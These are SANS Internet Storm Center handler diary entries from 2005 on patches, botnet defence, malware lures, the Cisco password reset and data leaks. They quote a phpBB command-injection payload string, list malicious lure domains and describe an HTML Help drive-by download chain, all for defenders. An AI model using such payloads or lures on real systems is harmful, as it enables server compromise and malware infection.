MS05-043: Vulnerability in Print Spooler Service Could Allow Remote Code Execution

Severity: Critical



CVE:



Affected Systems:

* 2000 SP 4

* XP SP1 & 2 (32-bit)

* Server 2003 & Server 2003 (Itanium) w/o service packs.



Vulnerability:

This patch addresses a buffer overflow in the print spooler service, which is spoolsv.exe. For Windows 2000 and Windows XP SP1, any anonymous user could attempt to exploit this vulnerability. For Windows XP SP2 and Windows Server 2003, the user would need to be authenticated.

Thanks to helpful handlers!

The diary is usually a collaborative effort, but on MS Patch Day, the collaboration reaches a new level. I'd like to thank all of the handlers for their assistance today - I'd rattle off a litany of names, but you know who you are. Thanks!

Opportunites squandered

Astute readers may have noticed my absence from diary duties of late. I've been traveling and training all over the damn place for what seems like forever, and I had planned on doing a write-up on my most recently attended event, the week-long blur known as BlackHat/DEFCON, but I mistakenly volunteered to take the hotseat on the second Tuesday of the month. My thrilling tales will have to wait for another day, interpid fans, but rest assured, thrilling tales they be!



Until that day, happy patching!



===============

Cory Altheide

caltheide@isc.sans.org

Handler On Duty

===============

Mistook their nods for an approval

Just ignore the smoke and smile



* Just so you don't miss it, make sure to check out Handler William Salusky's .

Deep Rants

It's a pitiful state of affairs. That is, balancing the day job with the vain attempt to keep one's finger on the pulse of the net consisting of limited reports sourcing from the minority of security clueful. It's sad to say but today is not much different, it's more of the same; bots, spam, phish, malicious code, those who fall for it, compromised hosts at non-responsive hosting providers, dev-nulled abuse mailboxes, open egress/ingress policies, SNMP foolishness, lack of validation before publication, *BREATHE*, AntiVirus updates without technical detail, unenforced AUPs, nonexistant AUPs, identity theft, corporate information loss, SOX and HIPAA violations, false positives, zero patch management and mailing list FUD... And No, I'm not Denis Leary.
Seriously. I can't address every issue that I rant about, but I've selected one that I deal with frequently.

CYA - Protecting your corporate "assets"

In addition to handler status, I'm a member of a response team that frequently handles corporate network incident response involving malicious code... namely bots. We have a short list of mitigations that resonate in every incident and find that implementation of these risk mitigators can go a long way toward reducing if not preventing future outbreaks. These protective measures are not exhaustive, but can be deployed at a higher tier in your architecture further removed from managing the host level. I'm not going to talk about workstation security policies, or the gimme of running up to date and active AntiVirus products, and no reference will be given to running host level application firewalls.

What can be done?

Centralize network egress If you haven't already consolidated your access to the Internet, fighting the botnet fight will be that much harder if your networks have many paths to the public Internet at large.
Employ Egress filtering Block everything going out to the world that is unnecessary for business. Policies are a good candidate for a new bullet point, so if you don't have them currently in place develop them. Do you connect to windows fileshares on the net? Block outbound access. Do you tftp gets and puts to the net? Block outbound access. Better yet, start from scratch and block everything, Establish your minimum outbound networking requirements, allow just that, and require all new connectivity to navigate an access request process. Force web traffic through restrictive proxy servers, arbitrary outbound TCP port 80 and 443 is a nightmare waiting to happen, or maybe just waiting for you to discover.
Centralize your logging Without easy access to logging from Firewalls, VPN concentrators and other network devices finding the threat from within becomes unnecessarily complicated. If you have identified a botnet controller on the net, you can quickly build a map of compromises of your network by identifying all connections to the malicious host(s). You can also identify possible secondary stage payload infections through the analysis of connectivity sourcing from infected hosts to internet destinations shared by the whole of your infection base.
Deploy Intrusion Sensors Finding the traditional IRC based botnet with intrusion sensor technology is easy and unending fun. Really. Unending fun. HTTP and UDP based bots get a bit trickier but are not impossible to detect, but for time and space I'm choosing not going to get into that at this moment. I personally love to watch IRC "JOIN" and "PRIVMSG" sensor alerts. You of course should modify your signatures to look for IRC communication on ALL ports not just IRC default ports, many botnet operators choose TCP ports including 443, 5190, 8080 and potentially anywhere in the 64K range for managing their botnets. Come to think of it, I don't think I've seen a port 0 botnet controller. :)
Establish flexible routing control You should have strong control of your horizontal as well as your vertical. Once a malicious controller has been identified, cut off access to the controller by advertising a null route across your network to make short work of it, this provides some breathing room to your people on the street that have the problem of physical access involved in malware response. If you have absolute remote network administrative control of every node on your network, it's that much better for you. With additional network routing tricks instead of null routing, you can control traffic path and get into some more complicated but very exciting areas of sinkholing and Honeynet technology which I'm very passionate about. However, I'm not opening that can of worms in this forum for the complexity and legal issues that I'm sure many would be quick to offer me an earful.
DNS - Blackholes, Poisoning and Reporting Botnet control is a mobile threat. If you have control of your DNS infrastructure you can protect your networks by intentionally poisoning "your" internal resolvers. You can establish zone files for known malicious botnet controller hostnames that would effectively prevent botnet herding miscreants from gaining control of any botted hosts on your network through the update of DNS records which could evade your null route on any previously known botnet controller IP by for EXAMPLE simply pointing the DNS A record for badbot.botcontroller.net to 10.0.1.128. Control of DNS makes sinkholing your botted infrastructure a trivial task. It's worth mentioning if you have the ability to take control of IP 10.0.1.128 on your network, dynamic DNS hosting providers have seemingly taken to using that IP as the blackhole for DNS records used primarily in the control of bots. If you log queries, you can determine the DNS A records behind the IP you discovered bots connecting to. If you can't enable full logging, investigate the possibility of employing Passive DNS query logging that will not provide you with a one to one match of client request to hostname query, but can still provide historical IP to name record matches.
I imagine some folks will be a little bit miffed regarding the lack of technical and how-to detail in the above statements, but I'm expecting that we'll be able to expand and dive into detail for the specific topics listed above in future diaries. This is just the starting point.
With a little bit of help I'm sure we could make this a minimum of a top 10 list for botnet fighting strategies. Help us flesh it out, you are welcome to provide us with some examples of what you do to actively protect your networks from botnets and the random, ever present malicious code threat.
-With Respect and tribute to Carl Douglas, "Everybody was BotNet Fighting...".

Malware Response - part 2 postponed

In my <A HREF="http://isc.sans.org/diary.php?date=2005-06-13">last diary</A> I mentioned that in my next diary (the one you are reading) I would offer response techniques leveraging the use of SBD as a malware acquisition tool. Well, I didn't really want to be called a liar, but I've earned the title. Next diary, I will most definitely provide at least a brief procedure that is by no means perfect when it comes to identifying every case of infectious/malicious code, but in my experience and the thousands of machines I've investigated, only a handful of hosts required any closer inspection to acquire malicious code samples. BTW, We haven't receive any reader input on remote command line response techniques, so I have to imagine it must be that you forgot to hit send on that draft email. It's okay, don't be shy. Go back to your drafts folder and hit send. Everybody's doing it.

William Salusky

wsalusky at gmail dot com

Handler on Duty (heh heh...)

Thanks Chris!

Chris sent us some packets, which fellow handler George Bakos took and discovered what looks like a weird bug out of in some equipment. We've notified the vendor and will follow up on it but promised to keep it under wraps till appropriate to speak about it.
If it turns out to be more widespread than it appears now, we might decide to
act otherwise at such time.

So please, do send it weird unexplained packets, some of us eat them for breakfast.

You'll be making the Internet a better place. This is also why Chris deserves his 5 minutes of fame.

postcard.gif.exe

Ian sent in the incoming email of some spam claiming to be a postcard and an analysis he did of the referenced critter.
A virustotal scan I ran later today has the usual diverse names. Moreover it gets that void look in the eye of some anti-virus software.

Scan results

 File: postcard.gif.exe

 Date: 08/07/2005 21:09:18 (CET)

----

AntiVir         6.31.1.0/20050807       found [BDS/Zapchast.2]

Avast           4.6.695.0/20050805      found [Win32:Jeefo]

AVG             718/20050807            found [Win32/Hidrag.A]

Avira           6.31.1.0/20050805       found nothing

BitDefender     7.0/20050807            found [Trojan.Zapchas.F]

CAT-QuickHeal   7.03/20050807           found nothing

ClamAV          devel-20050725/20050807 found [W32.Jeefo] 

DrWeb           4.32b/20050807          found [Win32.HLLP.Jeefo.36352]

eTrust-Iris     7.1.194.0/20050806      found nothing

eTrust-Vet      11.9.1.0/20050805       found nothing

Fortinet        2.36.0.0/20050805       found [IRC/Zapchast.4D53-bdr]

F-Prot          3.16c/20050805          found nothing

Ikarus          0.2.59.0/20050805       found nothing

Kaspersky       4.0.2.24/20050807       found [Backdoor.IRC.Cloner.ae]

McAfee          4551/20050805           found [Generic component]

NOD32v2         1.1187/20050805         found [IRC/Cloner.AS]

Norman          5.70.10/20050805        found nothing

Panda           8.02.00/20050807        found [W32/Jeefo]

Sophos          3.96.0/20050807         found [W32/Jeefo-A]

Sybari          7.5.1314/20050807       found [Backdoor.IRC.Cloner.ae]

Symantec        8.0/20050806            found nothing

TheHacker       5.8.2.081/20050807      found [Trojan/Downloader.IstBar.gen]

VBA32           3.10.4/20050805         found [Backdoor.IRC.Zapchast]

There goes my faith in anti-virus software. Just kidding. Those folks are fighting an uphill battle that is by nature reactive as the bad guys have their tools just as we do.

So what more than to run a different brand of anti-virus software in the perimeter and on the desktop can you do ?

Start with user education. Some awareness training will do wonders.

Next make sure all windows desktops/laptops that are rolled out are set up to show extensions of all files so that the user does in fact have a chance to see the real name and get alarmed by the *.gif.exe once they went to that training telling them they'll get punished if they click on anything that looks like that.

Finally, try to filter messages where the formatting is such that the URL that the "a" tag refers to is different from the apparent URL inside the tag. Those message should be quarantined. Also avoid all of those double extension attachments and downloads whenever possible into an environment that is file extension sensitive such as windows.

Virus numbers!

The thing with these differing names for a single virus though is simply put: why do you need them? Well they are good to talk to somebody else. E.g. Melissa rings a bell doesn't it. But as the example above shows these names lead to nothing but confusion. "Yeah, I got to clean Jeefo."; "Good luck with that one, I just cleaned Zapchas.". Let alone the numbering/lettering used for the variants. Once these get beyond B it seems as if some count faster than others. This lack of sync causes people to only remember the name, not the version. But the payload, impact, clean up, ... of a virus can be quite different between these variants causing even more confusion.

So we could continue to argue -as customers- with our vendors and demand they synchronize it. Tried that, apparently it still doesn't work all that well in the real world, despite promises to the contrary.

The other thing with virus names is that it creates the chances for fame and glory for the author. "I wrote Mellissa" (no I didn't, but you'll get the meaning) is much more of an interesting statement at some hacker convention than "I wrote CXN-2001-0041".

So here goes my suggestion for you to like or dislike: Let's -as customers- demand that our suppliers switch to a system like the one used for vulnerabilities:

- CXN: Common eXploit Number

- CXC: Common eXploit Candidate

Once a CXN is issued everybody switches their CXC to a CXN. A CXN is exactly one variant of one exploit (such as a virus), proven by samples kept by that central ly.

Let's demand the vendors fund a little 3rd party organization that keeps the numbers in sync and if they are smart they can learn to share descriptions and the like (which do cost a lot of money to produce and gain us little as to exactly who made them as long as they are good enough).

At the same time the Internet at large gets rid of the fame and glory of the authors having a recognizable hook to get their trash in the press for their 15 minutes of fame.

Yes I'm taking the step to sweep viruses/worms/trojans/... all into a single "exploit" bin. It only makes sense as it all grows to the same thing anyway.

The next logical step would be to link exploits to vulnerabilities and there you have the birth of a relational database. That database could (eventually) expand to include vendor info such as which version is vulnerable, and what patch stops the vulnerability, creating a link between e.g. the IDS seeing an exploit and the admin relaxing as he sees the patch has already been deployed site wide for the associated vulnerability, and that the anti-virus reports it stopped it as well.

In Dutch there is a saying "hoop doet leven". It is hard to translate, but literally it is something like "hope makes living". But I'm not expecting the vendors to be thrilled about it. FUD does sell products in our field.

IE7.beta warez bugged?

Microsoft is rightfully restricting downloads of IE7's beta release. This creates a market for warez versions and Craig reported that one of those was bugged with spyware. It's a big download and a big thing to search through, so it's not (yet) confirmed by us.

But the generic advice to stay away from warez is easy to make. Aside from the legalities and ethics, you do not know what you get in your hands. It might erase everything, send spam in your name, erase all network shares it has access to, ... or it might do as advertised. How will you know?
You do know you got it from people telling you they don't mind to break the law and provide you with an illegal copy of some piece of software.
Now, who do you trust?

Black Tuesday: be prepared!

Next Tuesday will be a Microsoft patch day. Probably this will be causing a lot of reboots throughout the world.

An anonymous reader pointed out this blog:
http://msmvps.com/bradley/archive/2005/07/28/59861.aspx
. It contains experiences of locked up machines that have older APC software and might cause it to hang during a reboot due to an expired cert in a java runtime environment. Perhaps some preparation will safeguard you from jumping to the "blame those new patches" conclusion.

update: another anonymous reader gave us this URL from APC:
http://nam-en.apc.com/cgi-bin/nam_en.cfg/php/enduser/std_adp.php?p_faqid=7202
and which let us to find the writeup of sun on the issue at:
http://sunsolve.sun.com/search/document.do?assetkey=1-26-101796-1&searchclause=101796
--

Swa Frantzen

Malicious URLs

Its pretty obvious, that a lot of the malware these days arrives hidden behind a URL in an e-mail or an instant message. We would like to start collecting these URLs, and explore some automated methods to validate them and maybe report them.

This project is in 'pre beta' now, and help any is appreciated. The plan is to download any content from these URLs, and maybe one or two links down, run it through a virus checker for known 'bad stuff' and keep monitoring them for changes.

The URL (non malicious ;-) ) to report URLs is: http://isc.sans.org/urlcheck.php .

Things I am looking for:

- scripts to extract URLs from spam (or regular email)

- any regular expressions someone may have to look for malicious javascript
Ultimatly, a list of verfied malicious URLs will be made available. I also hope to release the 'check' script to distribute the checking of URLs.

--------

Johannes Ullrich, jullrich\<script language="malicious">alert('dont spam')</script>@sans.org

PHPbb Scanning

In a to our forum, Andy Green reports observing a new version of the good old phpBB
highlight exploit. In this case the observed pattern is:

&highlight='.system(getenv(HTTP_PHP)).' 

which looks like an attempt to just check quickly if the forum is vulnerable.
The attack is only effective against phpBB version 2.0.15. The current version is 2.0.17.

In a follow-up post, Sadie suggests to block the sources from which these attack originate via a .htaccess file. Evidently, the scans can amount to a DOS attack due to the frequency of the scans.

How to respond to Information Leaks

We received two very similar requests for help. In the first case, a user reports that they repeatedly received medical information from strangers via FAX due to a misdialed number.

Clearly, medical information is regulated by HIPAA. For fax machines, common implementation guidelines suggest to program frequently used numbers into the fax machines speed dial memory. In addition, all fax transmissions should include a confidentiality notice, asking the receiver to notify the sender, and destroy the fax, if the fax is misdirected.

In this particular case, the user notified the health care provider but the fax errors continued. For persistent cases like this, it may be necessary to notify the indivuduals whose information you received, or to inform local law enforcement.

The second case involved a user who received a scanned image of a check from an insurance. The check was a check he wrote to the insurance. His account number was visible and the e-mail was not encrypted.

Obviously, this is not a good idea. The user further asked if it is necessary to get a new bank account. While possible, it is unlikely that the information leaked. It is probably not worth the effort to change accounts. However, it is advised to review statements carefully even without such an incident.

Usenix paper

Congratulation to John Bethencourt, Jason Franklin and Mary Vernon for their award winning paper on mapping of internet sensors. A couple people asked how this affects DShield, I summarized a response in a quick blog entry at http://johannes.homepc.org/blog .

--------

Johannes Ullrich, SANS Institute

(Filling in for George Bakos)

Email Ploy

[Brought to you by Lorna Hutcheson and Tom Liston]

We received several reports of an email circulating with links to a
news article that came with a surprise if you followed the links. DO
NOT GO TO THE FOLLOWING LINKS or any others from this site that may be
sent to you!!!




www.jsnvowe.vbnnews.com

www.iepwls.vbnnews.com

www.jxdg.vbnnews.com

www.nevkbq.vbnnews.com




Each of the emails seem to have different links in them but associated
with the same site.




The subject of the email is "Iraq Bombinng - 140 marines killed" or
something similar to it. Yes the misspellings are from the actual
email and there are many other discrepancies and misspellings in the
version that we have seen. We received several reports but only one
person sent the actual email to look at. The misspellings alone are a
big indicator that something is not right. If you follow the links
you get taken to a news article that has obviously been modified and
pieced together. For example says 140 Marines were killed, however,
the actual news article found by googling for it has 14 as the number
killed. (Not in any way making light of the the numbers or the loss,
just pointing out the discrepancy).




Once you click on the link, you get their news article, but you also
set off a series of events that require no interaction from the
user.




First off, there is an exploit on the page that takes advantage of
MS05-001 (Vulnerability in HTML Help Could Allow Code Execution) which
is just another cross-domain scripting vulnerability. This allows you
to get a file called ppp.hta from their website and is then launched
on your local harddrive. This then creates a file called netlog.exe
and and this appears to be launched on your local hard drive by using a combination of an ActiveX FileSystemObject and shell. Netlog.exe then goes and gets another file
called win32sba.exe, which is Robobot variant. Now your system can be
used for what ever malicious intent the folks who set this scheme up
had in mind.



The moral of this story is......Don't follow the link!!!!!


[Note: The above was updated to fix an error in our analysis. Thanks to Juergen Schmidt for pointing out our mistake.]

Cisco Password Leak Source

It appears the passwords could be leaked through the search engine.

from: http://www.cisco.com/security/

"Cisco Systems, Inc. was made aware of a vulnerability of a search tool on Cisco.com that could expose passwords for registered users."

Cisco CCO Password Reset Reply-To Spoof Concern

Testing confirmed a spoofed reply-to field in a message to the CCO Locksmith would be accepted.

We notified the Cisco PSIRT team and they are reviewing the spoofed
reply-to issue.

Patch Tuesday Preview

Next Patch Tuesday: 8/9/2005

6 bulletins (including one or more critical vulnerabilities)

Update to the Malicious Software Removal Tool

Important updates for the various update services




Fixes We're Hoping to See:


http://secunia.com/advisories/16210/

http://secunia.com/advisories/16071/

Windows 2000 SP4 Rollup 1 Re-Release

http://support.microsoft.com/kb/891861


"If you are affected by these issues, we suggest that you do not install Update Rollup 1 for Windows 2000 SP4 until the corresponding hotfix is available. We plan to reissue Update Rollup 1 for Windows 2000 SP4 soon. Several hotfixes will be integrated into the new version of Update Rollup 1 for Windows 2000 SP4."

Helpful Tool of the Day

eWeek is reporting on the new MS Word Redaction Tool:

http://www.eweek.com/article2/0,1759,1843858,00.asp




--------------

Robert Danford

SANS ISC Handler on Duty

Prologue: There isn't going to be a "Bouncing Malware" installment today. I've been mighty busy over the last week or so (anyone want to come help me sand the peeling stain off my deck?) and I've not had time to work on one. Soon. I promise.

Cisco CCO Password Issue

Ever have one of those days? Looks like Cisco is having one of those months... It appears that something has happened to compromise the passwords for their Cisco Connection Online service. What exactly happened? Cisco isn't saying.


Attempting to log into CCO brings up the following terse message:

IMPORTANT NOTICE:

    * Cisco has determined that Cisco.com password protection has been

compromised.     

    * As a precautionary measure, Cisco has reset your password. To receive

your new password, send a blank e-mail, from the account which you entered 

upon registration, to cco-locksmith@cisco.com. Account details with a new 

random password will be e-mailed to you. 

    * If you do not receive your new password within five minutes, please 

contact the Technical Support Center.

    * This incident does not appear to be due to a weakness in Cisco products

or technologies.

<crude_sarcasm> Note: I do, indeed, know what caused this issue, but I've been enjoined from disclosing it until next year's Black Hat. </crude_sarcasm>


Gotta love that last bullet point... It reinforces that old security maxim: All the technology in the world won't save you from doing something dumb.


Update: A tip o' the always stylish Handler-On-Duty propeller beanie goes out to Scott who wondered whether Cisco is having Pancho check for differences in the "From:" and "Reply-To:" addresses on messages to cco-locksmith@cisco.com before sending out a password. He is...

Follow the Bouncing... uh... ummm... Vulnerability?

Yesterday, we reported that there was a recently announced vulnerability in (can you say "ironic"?) Metasploit.


When we reported it, it was a vulnerability.


Then it wasn't....


Seems that the issue wasn't in Metasploit itself, but could be triggered if a vulnerable third-party terminal program was used along with Metasploit.


In keeping with Liston's Third Law ("The amount of Irony in the universe is a constant"), another real vulnerability popped up to take its place. It seems as though there is an issue in MSFWeb (the Metasploit Framework Web interface) that could allow for unauthorized access. Either run "msfupdate" or wait for version 2.5.0. (Thanks Gilles!)

ARCserve BrightStor Exploits/Scanner

Bringing forward this note from an early update to yesterday's diary 'cause it's important...:



If you haven't already patched your BrightStor ARCserve Backup
software, now would be a really good time. At least three different
exploit codes and the code for a scanner have now been released.
Links to patches can be found in
. Here is how CA rates this
vulnerability:

Threat Assessment

 

Overall Risk:  High 

Impact:  Critical 

Popularity:  Medium 

Simplicity:  Medium

If you don't think the kiddies are jumpin' on this one,
the spike in port 6070 activity.


(Thanks Lorna!)

It Takes a Village...

Just yesterday, I received a canned message from a vendor:

Hey,

I'm updating my address book. Please take a moment to update your latest

contact information. Your information is stored in my personal address 

book and will not be shared with anyone else. Plaxo is free, if you'd like

to give it a try."

This was followed by a listing of my contact information that he'd
sent to Plaxo and a link where I could sign up for his wonderful free
service too.



No, I'd rather not, thank you.



Over the past few years, I've noticed the rising tide of online "communities." And like some sort of unholy sludge, they've increasingly been floating across the Internet and seeping their way into my inbox.



Stop it.



Stop it now.



Both Plaxo and the recently discovered (for me) sms.ac entice users to "import and invite" their contacts. They make it easy, giving the clueless noobs step-by-step instructions on how to upload the contents of their contact lists.



Don't.



Just don't.



If you happen to have someone's contact information, that person gave that contact information to you. If they wanted their information given to Plaxo or sms.ac, they would give it to them. Do you go around posting your friend's phone numbers on bathroom walls? Do you walk up to strangers on the street and give them Aunt Mildred's P.O. Box? How about your teenage daughter's IM identity?



Needless to say, Mr. Vendor (and his boss) got a quick phone call from me, wherein I pointed out my belief that some village somewhere must be missing its idiot.



Don't follow in his footsteps. Your village needs you...

...Workin' On Mysteries Without Any Clues...

Not as strange and mysterious as what you might find in the back of a '60 Chevy:



11001111.101110.11111000.11101010



but interesting none-the-less.



(w/apologies to Mr. Seger)

Google Hack Honeypot

Interesting concept. Check it out
.



--------------------------------------------------------------------------

Tom Liston - Intelguardians Network Intelligence, LLC

http://www.intelguardians.com

Diary update

Cisco Greeting

It has been reported and confirmed that folks attempting to log into Cisco's website were met with the following greeting:



"Cisco has determined that Cisco.com password protection has been compromised.


As a precautionary measure, Cisco has reset your password. To receive your new password, send a blank e-mail, from the account which you entered upon

registration, to cco-locksmith@cisco.com. Account details with a new random password will be e-mailed to you.


If you do not receive your new password within five minutes, please contact the Technical Support Center.


This incident does not appear to be due to a weakness in Cisco products or technologies"

It appears that this was limited in the scope and time that it was appearing. We don't have further details at this time. If anyone has any information
to add, please let us know

ARCserve Exploits and Scanner

If you haven't already patched your BrightStor ARCserve Backup software, now would be a really good time. At least three different exploit codes and the
code for a scanner have now been released. Farther down in the diary, you will see the links for where you can get your patches for these vulnerabilities.

Here is how CA rates this vulnerability



Threat Assessment


Overall Risk: High

Impact: Critical

Popularity: Medium

Simplicity: Medium

Regular Diary

Kismet / Metasploit






We received some questions about the vulnerabilities on Kismet, disclosed at DefCon. The Kismet Wireless website, includes the following message:





"Mon Aug 01 2005 - Fixes to the announced vulnerabilities in Kismet are in progress (pending info) tonight, stay tuned for a big announcement when the vulns are fixed.
"




References: http://www.kismetwireless.net/





There was also some discussion about the suppose vulnerability on Metasploit framework disclosed at DefCon. It was assigned the Bugtraq ID of 14431.






"Metasploit Framework is prone to an unspecified vulnerability. This issue allows remote attackers to compromise the computer of users using the affected application."





References: http://www.securityfocus.com/bid/14431/info

UPDATE: from Security Focus website:



This BID has been retired as it been determined that the issue is not a vulnerability. Additional information has been provided that states the issue is a due to insufficient filtering of potentially malicious terminal escape sequences when logging external input. These escape sequences are not interpreted at any point by the application, and only pose a threat if rendered with an external viewer within a terminal emulator program that will interpret them. In that instance, this presents a security vulnerability in the terminal emulator program. As Metasploit does not interpret the malicious input itself, it is not within the scope of the application to filter this type of input. This is not a vulnerability in Metasploit since it does not impact security properties of the application itself.


at: http://www.securityfocus.com/bid/14431/discuss





Same kind of information was issued for the CANVAS suite.
With a Bugtraq ID of 14446






"Immunity CANVAS is prone to an unspecified vulnerability. This issue allows remote attackers to compromise the computer of users running the affected application."





References: http://www.securityfocus.com/bid/14446/info




Brian Krebs wrote about these in his blog as well, after attending the Shmoo Group track at Defcon. Good reading.


References: http://blogs.washingtonpost.com/securityfix/2005/07/patching_your_e.html





There was also some discussion about it at the Daily Dave Mailling List, if you want to follow.




References: https://www.immunitysec.com/pipermail/dailydave/2005-August/002266.html





There are not much info about these yet, but we recommend you to be careful when using these tools, doing your 'tests'...:)





New Buffer overflows ARCserve




New Buffer overflows on BrightStor ARCserve Backup and BrightStor Enterprise Backup application agent code used on Windows platforms.





The security update can be downloaded from:





BrightStor ARCserve Backup r11.1 for Windows:
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO70767

BrightStor ARCserve Backup r11.0 for Windows:
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO70769

BrightStor ARCserve Backup v9.01 for Windows:
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO70770

BrightStor Enterprise Backup v10.5 for Windows:
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO70774

BrightStor Enterprise Backup v10.0 for Windows:
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO70773





New Nigerian Scam




We got a example of another Nigerian Scam. This time they are trying to help us!:)





"Presently we discovered that some certain miscreants pose as
Bank/government officials to defraud innocent people off their hard
earn money."




"Help fight crime to make this earth a better place to live in."





Oh, came on...Does any one believe on this kind of scam yet?:)
(ok...I know the answer...)







Google update




About Lorna's yesterday diary, we received some requests to include the url which the data was stored. We are not announcing the site in question as we are attempting to protect the private information.





PwStealers project




Ok, this is a request for PwStealers samples for an article that I am writing...so, if you get some, could you please .zip with infected password and subject pwstealer ?:) .






Power Outage Fun




One of the ISC handlers had the fun of dealing with a pretty major power
outage this afternoon. The building that he works in has office areas, the
primary IT data center for his campus, as well as the regional law
enforcement dispatch. Most of the office areas have deskside UPS units to
help protect the more expensive workstations (such as sun workstations) or
the more critical computers that are located in the office. As this
building was outfitted in recent years with a natural gas based generator,
and has a large scale UPS for the data center, there should not have been
much more then a blip on the radar screen today. Right? Wrong.



The data center UPS has functioned quite well throughout, with the only
reason to shutdown servers was to limit the amount of heat being
generated. The deskside UPS units were sized in such a way that those
important office systems could handle any fluxuations caused by the power
outage itself, as well as any problems with the generator adjusting as it
phases in and out of the utility power.



Though the generator does undergo routine tests, the generator failed to
bring the building power back in a timely matter. Apparently, the
building load was high enough (due to summer heat and the large number of
new servers being brought online in the new fiscal year) that it would
automatically trip itself with an overload condition each time it tried to
take over. The facilities management personnel eventually used the various
building breakers to turn off the AC for the datacenter (which is not on
the UPS), lights, and a few other of the large breakers. Then they were
able to force the generator to take the building load, and slowly flip
back on some of the building level breakers. That allowed the generator
to slowly take over the load in a way it could handle. I am almost
certain that there will be discussions with the manufacturer and the
facilities management about how to avoid this issue again and wether there
is anything that can test for this type of event.



The other notable event comes from the systems administrators of the large
installation servers in the data center. Recently, most of them have
received the nice new deskside UPS units to help protect their
workstations in the office. Half of them had dutifully installed these new
UPS units, while others had not taken the time to do so, or were just
waiting for the next power outage to force them to take down their
workstation so they could re-cable things in their office. Unfortunately,
some of the ones who had installed their UPS did so incorrectly. One
particular one had went as far to plug his windows computer and monitor
into the battery backed-up plugs and accidentally had the LCD panel and Sun
workstation plugged in on the surge suppressed side. Another installed
things correctly, but had installed the vendor supplied software on his
windows computer (with the LCD) but hadn't configured it. A third had
intended to use one of the systems in the data center to secure shell into
his workstation and shut it down gracefully, but failed to ever have the
host-based firewall rules (or was it tcp wrappers) configured to allow
connections originating from the datacenter back into the workstation.



Thankfully, no perceived damage has occurred to any of the workstations,
and the outage last maybe 30 minutes prior to the generator finally taking
on the full load. (They were still on generator power at last check and
there may be further problems as the generator phases back out to utility
power.)



In all of this, the ISC handler noted that many unexpected difficulties
were just that....unexpected. The company he works for had had actually
planned for power outages (especially weather related ones), so their
standard operating procedure had come into play for the data center. The
sysadmins had however not planned as thoroughly on their office
workstations. Things like having monitors (or printers) plugged into the
battery port, or having the more critical workstation plugged into the
surge suppressed port can be seen as simple oversights. The individual
who had not configured the security in such a way as to allow remote
administration from the data center, probably had the right idea, but had
failed to test it (until today). And the one individual who had his
windows computer using vendor supported software configured to shutdown
within 5 minutes of a power outage also had the right idea, but failed to
think through the process of "Oh, I need the windows computer and LCD up
long enough that I can shutdown down the unix system. Don't need to let
the automatic software to kick in a predetermined time, just need to start
auto shutdown procedure if after work hours, or the battery is reporting 5
minutes left to go.".



To you our readers, this is an excellent time to consider a few questions
concerning your standard operating procedures. Here are a few questions
asked by the ISC handler who experienced this today.



* If this event had been weather related, or had occured at a time when
only the operations staff were in the office, would the on-hand staff know
what to do, who to call?


* If you have deskside units, have you configured the automatic shutdown
software properly?


* And for part of the security piece of this, have you configured the
firewall rules, tcpwrappers, etc etc, in such a way that you can
gracefully shutdown from a remote location (home or other designated
location)?


* Do you know for fact that the network will be up if you needed to
shutdown across the network (including that little 4 or 8 port switch in
your office)?


* Have you actually planned what to do in the event of an emergency or
disaster?


* Are your generators physically secured and checked routinely in the case
of vandalism or other similar problems?



If you haven't planned for the unexpected, it will eventually get you.




----------------------------------------------------------------------

Handler on Duty: Pedro Bueno - pbueno %% isc. sans. org

Cash from the Cache

You never can tell where you will find things and today was no exception. We received a report from Colin Keith about some interesting information that was found in Google's cache. It seems an order for Internet services triggered a little looksy by the sales department. Due to the dollar amount of the request, they checked the account name being given with a highly sophisticated tool. Yes, a google query soon brought up the individual's name as well a bit more than they bargain for. It seems ALL of this individual's personal information was found on the web in Google's cache to include the following information of which no data was missing from ANY of these fields:



First name:

Last name:

Address:

City:

State:

Zipcode:

Phone:

SSN:

Mother's Maiden Name:

Driver Licence:

Issued State:

DOB:

Card Type:

Card name:

Card number:

Expiry Date:

CVV2:

ATM Pin:

Bank Name:

Bank Phone:

Routing Number:

Account Number:

Paypal Email:

Paypal Password:



It really only gets worse. This was not the only person who had their account information here. Granted the Google cache dated from 2004, but that doesn't really matter when you have this kind of information laying around. Obviously someone was attempting to use it. Other things included in the cached info for some folks included purchase information such as the product and quantity purchased, how the product was to be shipped, where it was to be shipped, cost, subtotal, tax, shipping and even special instructions such as notes to be attached to the item if it was a gift.



I don't want to even attempt to guess where this information was illegally obtained from considering the different types of information involved, the location of the website and the location of the requestor. Yes, we have reported it. What I do want to focus on is the fact that MANY people's personal as well as financial data was sitting out on the Internet for anyone to access if they just looked. Given the fact that the information has been sitting out there now for over seven months, only further drives home the point of how critical it is to do Google searches on yourself. Keep in mind that this too has its dangers. Though some may disagree with me, I wouldn't be entering my credit card information and searching on it. Also, please do this from a patched machine, firewall turned on, antivirus updated and using a safe web browser. However, it is important to put your name, as well as your family members' names, in Google and/or other search engines, and see what turns up. Use different combinations of your name as they might have used in the past, and consider looking for old email addresses that may have been used as well. When you get the results, don't just go to the web site, but also click on the link for the cached information and see what used to be there. None of the data above was found on the current website, just in the cached information. None of the information would naturally be found on this type of site. So, before anyone attempts to get cash from the cache using your name, beat them too it by making sure no information about you is out there that should not be.



For any of you who work with/for the different search engines or have first hand knowledge about how to get cached information removed, we would appreciate you dropping us a line with some details.

Port 32772

Okay, curiosity will be my down fall yet. This port has had a significant jump in it for the last couple of days. The targets are few, but the source and the record numbers have really spiked. Anybody seeing any traffic on this or have any ideas? Please pass them our way if you don't mind. Packets are always nice and welcome as well:>)


Lorna Hutcheson

Handler on Duty

http://www.iss-md.com